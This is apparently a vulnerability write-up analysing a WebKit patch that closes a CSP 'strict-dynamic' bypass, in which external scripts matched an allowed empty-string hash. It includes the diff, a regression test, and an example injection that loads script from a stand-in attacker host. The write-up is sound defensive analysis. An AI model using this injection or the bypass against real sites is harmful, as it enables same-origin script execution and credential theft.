← All issues

[1] CSP strict-dynamic empty-hash bypass

The hash check that ran before the script even existed.

Severity: High | Component: WebCore Content Security Policy | 46c2346

High. A single missing inline-only guard let a content-hash allowance built for inline scripts become a blanket pass for any external script's unfetched (empty) body. What holds the severity short of unconditional is that it triggers only when the deployed policy actually lists the empty-string hash and the attacker already holds a markup-injection foothold.

Content Security Policy is the browser's declarative allowlist for what script a page may run, and a whole class of bypass arises whenever a content-derived check is applied to content that does not exist yet. Under a 'strict-dynamic' policy — a mode that tells the browser to ignore host allowlists and instead trust scripts propagated by already-trusted code, while still gating parser-inserted scripts on nonce, hash, or integrity — WebKit runs a script-source gate for every candidate script element. That gate normally hashes an inline script's known body and compares it against the policy's allowed 'sha256-...' tokens, on the understanding that only a script whose full text is available at check time can legitimately match a content hash.

The angle: on a page whose CSP happens to allow the empty-string hash, an attacker with a markup-injection foothold can inject <script src="//attacker.example/evil.js"> and have it execute with no nonce and no integrity, upgrading an HTML-injection primitive into full same-origin script execution.

Under a strict-dynamic policy WebKit checks whether a script's content hash matches one of the policy's allowed hashes. This check is meant for inline scripts, whose content is known. But it also ran for external scripts, whose content is not yet available, so their content was treated as empty. When a policy allows the hash of the empty string, every parser-inserted external script matched it and ran, even with no nonce and no matching integrity.

The fix compares a script's content hash against the policy only when the script is inline. An external script still matches an allowed hash through its integrity attribute, but its empty body is no longer treated as matching the empty-string hash. The method violatedDirectiveForNonParserInsertedScripts is also renamed to violatedDirectiveForScriptUnderStrictDynamic, since it gates any script under strict-dynamic, not just non-parser-inserted ones.

Source/WebCore/page/csp/ContentSecurityPolicyDirectiveList.cpp

-const ContentSecurityPolicyDirective* ContentSecurityPolicyDirectiveList::violatedDirectiveForNonParserInsertedScripts(...)
+const ContentSecurityPolicyDirective* ContentSecurityPolicyDirectiveList::violatedDirectiveForScriptUnderStrictDynamic(...)
{
auto* operativeDirective = this->operativeDirectiveScript(m_scriptSrcElem.get(), ContentSecurityPolicyDirectiveNames::scriptSrcElem);
- if (checkHashes(operativeDirective, hashes)
+ bool isInline = url.isEmpty();
+ if ((isInline && checkHashes(operativeDirective, hashes))
|| checkNonParserInsertedScripts(operativeDirective, parserInserted)
|| checkNonce(operativeDirective, nonce)
|| operativeDirective->containsAllHashes(subResourceIntegrityDigests)
|| (checkSource(operativeDirective, url) && !strictDynamicIncluded())
- || (url.isEmpty() && checkInline(operativeDirective)))
+ || (isInline && checkInline(operativeDirective)))
return nullptr;
return operativeDirective;
}

LayoutTests/.../script-src-strict_dynamic_parser_inserted_module_empty_hash.html.headers

+Content-Security-Policy: script-src 'strict-dynamic' 'nonce-dummy' 'sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU='

LayoutTests/.../script-src-strict_dynamic_parser_inserted_module_empty_hash.html

+ <script type="module" src="simpleSourcedModule.js?markup-module"></script>

The change is confined to the strict-dynamic script gate. In violatedDirectiveForScriptUnderStrictDynamic, the content-hash comparison checkHashes(operativeDirective, hashes) is now guarded by a new bool isInline = url.isEmpty() predicate, so hashes are compared only for inline scripts. The pre-existing url.isEmpty() && checkInline(...) clause is refactored to reuse the same isInline local. The caller ContentSecurityPolicy::allowScriptForStrictDynamic is updated to reference the renamed method, and the header declaration is renamed to match. A WPT layout test plus its expected output and .headers file (serving a policy that lists the empty-string SHA-256) are added.

Applying a content-derived check to an operand whose content has not been materialized, so absent data is silently treated as empty and matches an empty-value allowance.

Where this lives. Source/WebCore/page/csp enforces Content Security Policy, the per-response declarative allowlist that decides which script sources a document may execute. The strict-dynamic script-source gate is one leaf of that enforcement.

Source expressions vs. content tokens. A script-src directive can list allowed sources as host/source expressions, 'nonce-...' tokens, or 'sha256-...'/'sha384-...'/'sha512-...' content-hash tokens. 'strict-dynamic' tells the engine to ignore host/source allowlists and instead trust scripts propagated programmatically by already-trusted scripts, while still honoring nonce, hash, and integrity checks for parser-inserted scripts.

Inline vs. external hashing. Content-hash tokens were designed for inline scripts, whose full text is known at parse time. generateHashesForContent computes the digest(s) of a script body; checkHashes returns true if any computed digest is in the directive's allowed set. External scripts referenced by src are fetched separately and instead satisfy the policy via the integrity attribute (Subresource Integrity), compared through containsAllHashes(subResourceIntegrityDigests).

The empty-string digest. The empty string has a well-known SHA-256 (47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=). A real policy may list it, for example to permit intentionally empty inline scripts.

This is a logic error — a policy-check bypass, not memory corruption. Before the fix, the gate unconditionally evaluated checkHashes(operativeDirective, hashes) for every script under strict-dynamic, including external ones. The hashes argument is produced by the caller via generateHashesForContent(scriptContent, ...). For an external script the body has not been fetched at policy-check time, so scriptContent is empty and the computed hash set is the hash of the empty string.

  Before:                              After:
  external <script src>                external <script src>
    body not fetched -> ""               body not fetched -> ""
    hash("") = empty-string hash         isInline = url.isEmpty() -> false
    checkHashes() matches allowed  X     checkHashes() SKIPPED
    -> allowed, runs w/o nonce           -> falls through to integrity/nonce

When the deployed policy's allowed-hash list contains the SHA-256 of the empty string, the empty-content hash of any external script matches, checkHashes returns true, the method returns nullptr (no violation), and the script loads and executes — bypassing the requirement that under strict-dynamic an external script carry a matching nonce or matching integrity. The regression test makes this concrete: it serves script-src 'strict-dynamic' 'nonce-dummy' 'sha256-<empty>' and injects a parser-inserted type=module external script with neither a nonce nor an integrity attribute, which pre-fix executes anyway.

The fix gates the hash comparison on isInline = url.isEmpty(), so an external script (non-empty URL) no longer has its empty body treated as matching the empty-string hash. Legitimate external matches still flow through containsAllHashes(subResourceIntegrityDigests).

The likely discovery angle is spec-conformance review of strict-dynamic behavior — the fix ships with a new WPT test targeting exactly the empty-string-hash edge case, which reads as reasoning about the shared inline/external code path rather than an opaque crash.

Exploitability is confined to two preconditions: the deployed policy must list the empty-string hash, and the attacker must have a markup-injection foothold on that page. Both satisfied, the result is arbitrary script execution in the page's origin — same-origin DOM and credential access equivalent to XSS. It runs entirely within the WebContent process and the same-origin script context; no process-sandbox boundary is crossed.

This vulnerability weakens the CSP trust boundary for script execution. The model assumption at stake is that under strict-dynamic a parser-inserted external script executes only if it presents a matching nonce or matching integrity — its as-yet-unfetched body must never satisfy a content-hash allowance. Before the fix, a policy that happened to allow the empty-string hash let any parser-inserted external <script src=...> run with no nonce and no integrity.